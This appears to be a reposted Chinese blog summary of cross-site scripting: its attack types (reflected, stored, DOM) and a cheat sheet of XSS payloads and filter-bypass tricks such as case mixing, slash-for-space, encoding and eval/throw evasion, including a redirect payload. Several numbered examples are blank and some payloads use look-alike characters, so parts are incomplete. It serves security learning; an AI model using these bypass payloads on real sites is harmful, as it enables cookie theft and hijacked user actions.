xss过滤总结

一。简述

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序.
例如:
1.盗用cookie,获取敏感信息。
2.利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
3.利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的操作如发微博、加好友、发私信等操作。
4.利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
5.在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDOS攻击的效果。

二。分类

反射型
反射型跨站脚本是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗。

存储型
持久型跨站脚本也等同于存储型跨站脚本。此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

DOM型
传统的 XSS 漏洞一般出现在服务器端代码中,,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤和消毒,那么应用程序就可能受到基于 DOM 的 XSS 攻击。(特殊类型的反射性 ) 存在于get
cookio reference里面。

三。无过滤的情况下

一些常见标签
1.

2.
<img src=1 οnerrοr=alert(“xss”);>

3.

竞争焦点,从而触发onblur事件
<input οnblur=alert(“xss”) autofocus>

通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点
事件,无需用户去触发

4.

使用open属性触发ontoggle事件,无需用户去触发

5.

6.

通过autofocus属性执行本身的focus事件,这个向量是使焦点自动跳到输入元素上,触发焦点事件,无需用户去触发

7.

javascript伪协议

1.标签
xss

点我就xss
2.标签

3.标签
<img src=javascript:alert(‘xss’)>//IE7以下
4.标签

四。有过滤的情况下

1.过滤空格
用/代替空格
<img/src=“x”/οnerrοr=alert(“xss”);>

2.过滤关键字
大小写绕过
<ImG sRc=x onerRor=alert(“xss”);>

3.字符拼接
利用eval

利用top

4.其它字符混淆
有的waf可能是用正则表达式去检测是否有xss攻击,如果我们能fuzz出正则的规则,
则我们就可以使用其它字符去混淆我们注入的代码了
下面举几个简单的例子

可利用注释、标签的优先级等
1.<

5.编码绕过
Unicode编码绕过

url编码绕过

Ascii码绕过

6.过滤双引号,单引号
.如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
<img src=“x” οnerrοr=alert(xss);>

7.过滤括号
当括号被过滤的时候可以使用throw来绕过
<svg/οnlοad=“window.οnerrοr=eval;throw’=alert\x281\x29’;”>

8.html标签中用//可以代替http://
<img src=“x” οnerrοr=document.location=//www.baidu.com>

9.注释绕过

商城搜索框大部分可以这样绕过。
</spa n>

猜你喜欢

转载自blog.csdn.net/weixin_42109829/article/details/103379132